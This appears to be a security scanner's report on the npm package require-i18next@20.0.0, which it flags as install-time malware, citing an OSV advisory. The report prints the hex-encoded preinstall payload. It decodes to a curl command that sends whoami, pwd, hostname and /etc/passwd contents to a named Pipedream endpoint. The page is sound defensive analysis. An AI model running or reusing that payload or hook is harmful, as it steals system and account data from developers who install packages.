registry / require-i18next / 20.0.0

require-i18next@20.0.0

description

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Installing the package triggers an obfuscated shell command. It collects local identity, directory, host, and /etc/passwd data and sends it to a Pipedream endpoint.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

npm install (preinstall lifecycle hook)

Impact

Unauthorized host reconnaissance and system-file data exfiltration.

Mechanism

hex-decoded curl command executed through child_process.exec

Attack narrative

During npm preinstall, preinstall.js reads a hex command from preinstall.json, decodes it, and executes it. The decoded command uses curl to send whoami, pwd, hostname, and the contents of /etc/passwd to a remote Pipedream endpoint.

Rationale

This is a concrete install-time data-exfiltration chain with obfuscation and shell execution. It is malicious, not package-aligned behavior.

Evidence

package.jsonpreinstall.jspreinstall.json/etc/passwd

Network endpoints1

eobdzec83knbura.m.pipedream.net

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14052

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in require-i18next (npm)

Details

The OpenSSF Package Analysis project identified 'require-i18next' @ 20.0.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.

References

OSV advisory

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

npm preinstall runs preinstall.js.
The script hex-decodes a command and executes it with child_process.exec.
The encoded payload invokes curl to eobdzec83knbura.m.pipedream.net and transmits whoami, pwd, hostname, and /etc/passwd contents.

Evidence against

No legitimate package implementation is present; the archive contains only the manifest and installer payload files.

Behavioral surface

Source

ChildProcessFilesystem

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 652 B of source

Source & flagged code

6 flagged

package.jsonView file

Lines 1-15json

2 "name": "require-i18next",

3 "version": "20.0.0",

4 "description": "description",

5 "main": "index.js",

6 "scripts": {

7 "preinstall": "node preinstall.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L7

8 },

High

Ai Review Evidence

npm preinstall runs preinstall.js.

package.jsonView on unpkg · L6

9 "author": "kp-admin",

10 "license": "MIT",

11 "publishConfig": {

12 "access": "public"

13 }

14}

preinstall.jsView file

Lines 1-27javascript

1const fs = require('fs');

2const { exec } = require('child_process');

4fs.readFile('preinstall.json',

preinstall.jsonView file

Lines 1-3json

2 "command": "6375726c2068747470733a2f2f656f62647a656338336b6e627572612e6d2e70697065647265616d2e6e6574202d64202277686f616d693d6077686f616d6960267077643d607077646026686f73746e616d653d60686f73746e616d6560267061737377643d60636174202f6574632f7061737377646022"

High

Ai Review Evidence

The encoded payload invokes curl to eobdzec83knbura.m.pipedream.net and transmits whoami, pwd, hostname, and /etc/passwd contents.

preinstall.jsonView on unpkg · L2

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node preinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js" }

High

Ai Review Evidence

npm preinstall runs preinstall.js.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

•matchType = malicious_source_fingerprint_signature signature = f243d5785c040017 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = trinity-scheme@20.0.0 matchedPath = preinstall.js matchedIdentity = npm:dHJpbml0eS1zY2hlbWU:20.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

Findings

5 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighKnown Malware Source Fingerprint Signaturepreinstall.js

HighAi Review Evidencepackage.json

HighAi Review Evidencepreinstall.js

HighAi Review Evidencepreinstall.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present

LowFilesystem